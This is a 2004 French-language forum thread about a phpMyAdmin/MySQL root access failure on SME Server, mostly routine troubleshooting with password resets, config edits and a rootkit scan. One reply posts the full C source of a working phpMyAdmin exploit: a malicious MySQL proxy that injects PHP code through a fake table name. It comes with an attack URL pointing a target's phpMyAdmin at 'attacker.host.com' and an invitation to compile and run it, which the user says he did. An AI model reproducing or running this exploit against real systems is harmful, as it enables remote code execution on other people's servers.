PB Phpmyadmin :( Mysql Planté 100%

Forum dédié à la distribution du même nom et que vous pourrez télécharger sur http://www.contribs.org. La nouvelle version de cette distribution se nomme SME Server

Modérateur: modos Ixus

PB Phpmyadmin :( Mysql Planté 100%

Messagepar Sebastien65 » 27 Juil 2004 22:46

Bonsoir,

La je viens de me connecter sur mon PHP My ADMIN et j'ai cette erreur :

Bienvenue à phpMyAdmin 2.3.3pl1


Erreur

MySQL a répondu:


Access denied for user: 'root@localhost' (Using password: YES)


J'ai désinstallé phpmyadmin puis réinstallé mais cela ne change rien :(

Comment fait ton pour pouvoir refaire marcher l'interface de phpmyadmin ??

Merci
Dernière édition par Sebastien65 le 28 Juil 2004 00:18, édité 2 fois au total.
Avatar de l’utilisateur
Sebastien65
Vice-Amiral
Vice-Amiral
 
Messages: 799
Inscrit le: 26 Avr 2003 00:00

Messagepar Mofo » 27 Juil 2004 23:19

Modifie le fichier : config.inc.php

Comment as tu fais pour installer PhpMyAdmin ?
Mofo
Quartier Maître
Quartier Maître
 
Messages: 15
Inscrit le: 27 Juil 2004 19:57

Messagepar Sebastien65 » 27 Juil 2004 23:44

Salut et merci de ta réponse ;)

BA en fait C plus compliqué que ça mais tu avait une part de vrai ;)

Donc j'utilise un RPM pour installer PHP MY ADMIN : dmc-mitel-phpmyadmin-2.3.3-1.noarch.rpm

Bon j'ai réussi a ravoir accès à PHP MY ADMIN...

Alors j'ai procédé ainsi en console :

mysqladmin -u root password mot_de_pass

Ensuite test du new MDP pour mysql :

mysql -u root -p
Enter password : mdp (il n'apparait pas à l'écran)
Welcome to the MySQL monitor
......

Donc par la suite je dois regénérer le MDP pour l'accès à PHP MY ADMIN :(il existe aussi un autre config.inc.php mais C une template pour SME :roll: ) donc je me rabs sur --> /opt/

cd /opt/administration/phpmyadmin
vi config.inc.php

Ensuite je modifie cette ligne :

$cfgServers[1]['password'] = 'mot_de_pass'; // MySQL password (only needed with basic auth)

Voila et pour l'instant ça remarche :lol: :D
Avatar de l’utilisateur
Sebastien65
Vice-Amiral
Vice-Amiral
 
Messages: 799
Inscrit le: 26 Avr 2003 00:00

Messagepar Sebastien65 » 28 Juil 2004 00:21

j'ai parlé trop vite :oops: :( :evil:

En fait j'ai accès a PHP MYADMIn sans problème... Mais je n'ai plus aucun utilisateurs :x

J'ai essayé de les créers en console mais le root m'envoi péter a cause que je n'ai pas le droit :evil:

mysql> GRANT ALL PRIVILEGES
-> ON manager.*
-> TO manager@localhost
-> IDENTIFIED BY "toto";
ERROR 1044: Access denied for user: 'root@localhost' to database 'manager'
mysql> \q
Bye


Alors une idée ??

Moi la j'ai aucune autre idée :( bloqué par root !!!
Avatar de l’utilisateur
Sebastien65
Vice-Amiral
Vice-Amiral
 
Messages: 799
Inscrit le: 26 Avr 2003 00:00

Messagepar Muzo » 28 Juil 2004 08:49

Salut,

C'est tout de même étrange que root n'est plus accès à ta base.
Ne te serais-tu pas fais attaqué ou rootkité par hasard?
/Muzo
"La vie n'est pas un combat, mais une passion à défendre!" MASS HYSTERIA - Knowledge is power
Avatar de l’utilisateur
Muzo
Amiral
Amiral
 
Messages: 5236
Inscrit le: 07 Mai 2003 00:00
Localisation: BNF! Je me culturise.

Messagepar Sebastien65 » 28 Juil 2004 17:47

Salut Muzo ;)

C'est tout de même étrange que root n'est plus accès à ta base.


Oui C bizare... Quand l'accès avec PHP My Admin foire j'y arrive a le remetre en place... Mais la vu que C avec un RPM que je l'ai installé peut être que le PB est ailleurs :cry:

Par la suite j'ai bidouillé quelque truc en ligne de commande mais bon quand j'ai vu que je le planté j'ai fait CTRL+C pour stopper la modif en cour... Donc je ne pense pas que les trucs soit pris en compte :?

Ne te serais-tu pas fais attaqué ou rootkité par hasard?


Attaqué non pas du tous... C lorsque j'ai bidouillé un truc de moi même :lol:

Rootkité ??? Je ne C pas ce que ça veu dire :shock:
Avatar de l’utilisateur
Sebastien65
Vice-Amiral
Vice-Amiral
 
Messages: 799
Inscrit le: 26 Avr 2003 00:00

Messagepar sibsib » 28 Juil 2004 22:08

Salut,

Je crois avoir une piste...

Si j'ai bien compris, tu as changé le mot de passe du compte root de mysql ?

mezenfait :
1) D'abord, il est fortement recommandé de ne pas jouer avec ce mot de passe, vu qu'il est assez fortement templatisé...
2) dans /root, tu as un fichier .my.cnf qui contient le mot de passe de root. Mais si tu l'as changé, évidement mysql est un peu dans le gaz. Il faudrait soit renommer ce fichier, soit mettre le nouveau mot de passe dedans, soit savoir lancer mysql en précisant le mot de passe, pour remettre l'ancien.

A+,
Pascal
Sibsib, admin heureux d'un petit SME !!!
- SME 8.0 beta 6 dans une VM :-)
- ESXI 4.1 sur hardware noname
Ma petite page sur SME
Avatar de l’utilisateur
sibsib
Amiral
Amiral
 
Messages: 2368
Inscrit le: 11 Mai 2002 00:00
Localisation: France - région parisienne

Messagepar Sebastien65 » 28 Juil 2004 23:57

Slt,

1) D'abord, il est fortement recommandé de ne pas jouer avec ce mot de passe, vu qu'il est assez fortement templatisé...


Oué je sais :lol: Ba le truc C que je n'ai absolument pas joué avec 8) Juste modifier l'accès a PHP MY ADMIN avec le mot de passe root pour son utilisation... Rien de plus, méthode normale et rapide ;)


2) dans /root, tu as un fichier .my.cnf qui contient le mot de passe de root. Mais si tu l'as changé, évidement mysql est un peu dans le gaz. Il faudrait soit renommer ce fichier, soit mettre le nouveau mot de passe dedans, soit savoir lancer mysql en précisant le mot de passe, pour remettre l'ancien.


Même en le renommant ou en mettant le vrai mot de passe cela ne change rien :roll:

Merci quand même.
Avatar de l’utilisateur
Sebastien65
Vice-Amiral
Vice-Amiral
 
Messages: 799
Inscrit le: 26 Avr 2003 00:00

Messagepar Muzo » 29 Juil 2004 10:39

Sebastien65 a écrit:Rootkité ??? Je ne C pas ce que ça veu dire :shock:


Regardes ici
/Muzo
"La vie n'est pas un combat, mais une passion à défendre!" MASS HYSTERIA - Knowledge is power
Avatar de l’utilisateur
Muzo
Amiral
Amiral
 
Messages: 5236
Inscrit le: 07 Mai 2003 00:00
Localisation: BNF! Je me culturise.

Messagepar Sebastien65 » 30 Juil 2004 17:38

Slt,

Oki je viens de regarder viteuf, ba je n'ai pas uttilisé ce genre de chose :P

Donc a mon avis je ne me suis pas fait "rootkité" :roll:
Avatar de l’utilisateur
Sebastien65
Vice-Amiral
Vice-Amiral
 
Messages: 799
Inscrit le: 26 Avr 2003 00:00

Messagepar Sebastien65 » 31 Juil 2004 16:10

Salut,

Je viens d'installer le rpm de Root Kit Hunter et j'ai lancé la commande rkhunter -c

Et j'ai U que "OK" ou "Clean" et un warning :

Hint: see logfile for more information
info: PermitRootLogin yes
Hint: See logfile for more information about this issue
Checking for allowed protocols... [ Warning (SSH v1
allowed) ]


Donc mon sytème n'est pas "hacké" alors... :roll:

[/quote]
Avatar de l’utilisateur
Sebastien65
Vice-Amiral
Vice-Amiral
 
Messages: 799
Inscrit le: 26 Avr 2003 00:00

Messagepar antolien » 31 Juil 2004 16:23

Et les scripts kiddies ?

tu connais ce code ? :

Code: Tout sélectionner
/*   
* phpmy-explt.c 
*
* A phpMyAdmin exploite program.
* This is a kind of   mysql server wrapper  acts like a proxy except that it will sends a fake table name,
* when client query "SHOW TABLES",  by replacing the real table name with a string contains exploite codes.
*
* Compile : gcc phpmy-explt.c -o phpmy-explt
*
* run with
* ./phpmy-explt
*
* and go to your target and put
*
* http://target/phpMyAdmin/left.php?server=4&cfg[Servers][4][host]=
* attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers]
* [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers]
* [4][only_db]=databasename
*
* fill host,port,user,pass and databasename correctly
*
*/


#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>

#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"


#define BUFFER_LEN 1024

/* This is php code we want to inject into phpMyAdmin
   Do NOT use  single quote (') in the string, use double quote (") instead
*/
char *phpcodes = "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";


  /* This is examples codes I captured when mysql server
     reply to client's request of query "SHOW TABLES" query.
     It shows  database  name 'phpmy' and contain one tablename  'mytable'
     Our aim is to manipulate the data received from mysql server
     by replacing 'mytable' with our exploide codes.
     
     0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
     0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
     '_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
     0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
     -2  ,8  ,0x0 ,0x0 ,0x4 ,7   ,'m' ,'y' ,'t' ,'a' ,
     'b' ,'l' ,'e' ,0x1 ,0   ,0   ,0x5 ,-2
  */


int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
{   
   char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
               0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
              '_'};
   /* part of dbname     ('p' ,'h' ,'p' ,'m' ,'y') */
   char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,
              0x1 ,0x0 ,0x0 ,0x3 ,-2}; 
   /* part of int phpcodes string length +1   (8) */
   char my3[3]  = {0x0 ,0x0 ,0x4};
   /* part of int phpcodes string length      (7) */
   /* part of tablename    ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
   char my4[5]  = {0x1 ,0   ,0   ,0x5 ,-2};
   
   int len,i;

   len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  strlen(phpcodes) + 5 + 5;
   *expcode = (char*) malloc(sizeof(char) * len);
   
   i = 0;
   bcopy(&my1[0],*expcode + i,21);
   i += 21;

   bcopy(dbname, *expcode + i,strlen(dbname));
   i += strlen(dbname);
   bcopy(&my2[0],*expcode + i,15);
   i += 15;
   (*expcode)[i] = 5 + strlen(phpcodes) + 1;
   i ++;
   bcopy(&my3[0],*expcode + i,3);
   i += 3; 
   (*expcode)[i++] = 5 + strlen(phpcodes) ;
   /* this is our exploite codes*/
   (*expcode)[i++] = '\\';
   (*expcode)[i++] = '\'';
   (*expcode)[i++] = ';';
   bcopy(phpcodes,*expcode + i,strlen(phpcodes));
   i += strlen(phpcodes);
   (*expcode)[i++] = '/';
   (*expcode)[i++] = '*';
   bcopy(&my4[0],*expcode + i,5);
   
   return len;
}

/* connect to mysql server*/

int connect_mysql()
{
    int s2;
    struct sockaddr_in ina;
    struct hostent *h;
   
    h = gethostbyname(HOSTNAME);
    /* set internet address */
    bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
    ina.sin_family = AF_INET;
    ina.sin_port = htons(MYSQL_PORT);
    //ina.sin_zero[0]='\0';
    if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)
     perror("Socket: ");
   
    if(connect(s2,(struct sockaddr *)&ina,sizeof(ina)) < 0 )
                      perror("connect()");
    return s2;
}

/* listener */
int listener()
{
    int s1;
    int opt;
    struct sockaddr_in ina;

    /* set internet address */
    ina.sin_family = AF_INET;
    ina.sin_port = htons(BIND_PORT);
    ina.sin_addr.s_addr = INADDR_ANY;

    if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)
     perror("Socket: ");
   
    opt = 1;
    setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char *)&opt, sizeof(opt) );
       
    if(bind(s1,(struct sockaddr *)&ina,sizeof(ina))==-1)
   perror("Bind: ");
   
    if(listen(s1, 10) == -1)
     perror("Listen");
   
   return s1;
}


int main(int argc,char* argv[])
{
   struct sockaddr_in ina1;
   int ina1_l;
   int s_daemon,s_mysql;
   size_t byte_read,byte_written;
   char *buf;
   int sc,event,n_select;
   fd_set rfds;
        struct timeval tv;   
   int exptlen,i;
   char *expt;
   char *dbname=DATABASE;
   
   buf = (char*) malloc(sizeof(char) * (BUFFER_LEN));
   tv.tv_sec  = 15;
   tv.tv_usec = 0;
   
   /* we listen to port */
    s_daemon = listener();
   
   exptlen = build_exploite_code(dbname,phpcodes,&expt);

   for(;;)
   {
      fprintf(stderr,"waiting for connection\n");
      
      if( -1 == (sc = accept(s_daemon,(struct sockaddr *) &ina1,&ina1_l)) )
        perror("accept()");
      /* if we get here, we have a new connection */
      fprintf(stderr,"got client connection\n");
mysql:
      /* connect to mysql */
      s_mysql = connect_mysql();
       
      for(;;)
       {
         FD_ZERO(&rfds);
           FD_SET(sc,&rfds);
           FD_SET(s_mysql,&rfds);                               
      
           n_select = (sc > s_mysql)? sc : s_mysql;

          event = select(n_select+1,&rfds,NULL,NULL,NULL);
          if(-1  == event)
          perror("select()");
           else
      {   
          if(FD_ISSET(s_mysql,&rfds))
           {
         byte_read = read(s_mysql,buf,BUFFER_LEN);
             /* check for closing client connection*/
             if(byte_read == 0)
                {
            shutdown(s_mysql,SHUT_RDWR);
            close(s_mysql);
            goto mysql;
              }

          /* check data received from mysql server.
           * if  buf[11] contain 'T', data received from   mysq server is table list
           *
           * NOW we replace the table with our exploite codes and send them to client
           */
              if( 'T' == buf[11])
         {
                 for(i=0;i<exptlen;i++)
                    buf[i] = expt[i];
                 byte_read = exptlen;
              }
             
              if(write(sc, buf, byte_read) < 0)
                 break;
           }
              
                if(FD_ISSET(sc,&rfds))
           {   
                  byte_read = read(sc,buf,BUFFER_LEN);
               /* check for closing client connection*/
               if(byte_read == 0)
               {   
             close(sc);   
             break;
               }

             if(write(s_mysql,buf,byte_read) < 0)
                break;       
           }   
#if defined(DEBUG)           
           fprintf(stderr,"data:\n");   
           for(i=0;i<byte_read;i++)
              fprintf(stderr," %c(%x) ",buf[i],buf[i]);
#endif   
           }   

       }
   }
   free(buf);
   free(expt);
   return 0;
}



Vu la version de phpmyadmin que tu as; tu peux modifier ce script avec les bonnes valeurs; et le compiler voir ce que ça donne . Fin moi je verrais bien un truc dans le genre...

PS: Aucune responsabilité de ma part si vous faites des $%#&! avec ce script...
Avatar de l’utilisateur
antolien
Amiral
Amiral
 
Messages: 3134
Inscrit le: 31 Août 2002 00:00

Messagepar Sebastien65 » 31 Juil 2004 17:59

Salut Antolien...

Non je ne connais pas ce genre de script...

Je les essayé mais cela bloque sur "waiting for connection" depuis longtemps
:roll:
Avatar de l’utilisateur
Sebastien65
Vice-Amiral
Vice-Amiral
 
Messages: 799
Inscrit le: 26 Avr 2003 00:00


Retour vers E-Smith / SME Server

Qui est en ligne ?

Utilisateur(s) parcourant actuellement ce forum : Aucun utilisateur inscrit et 1 invité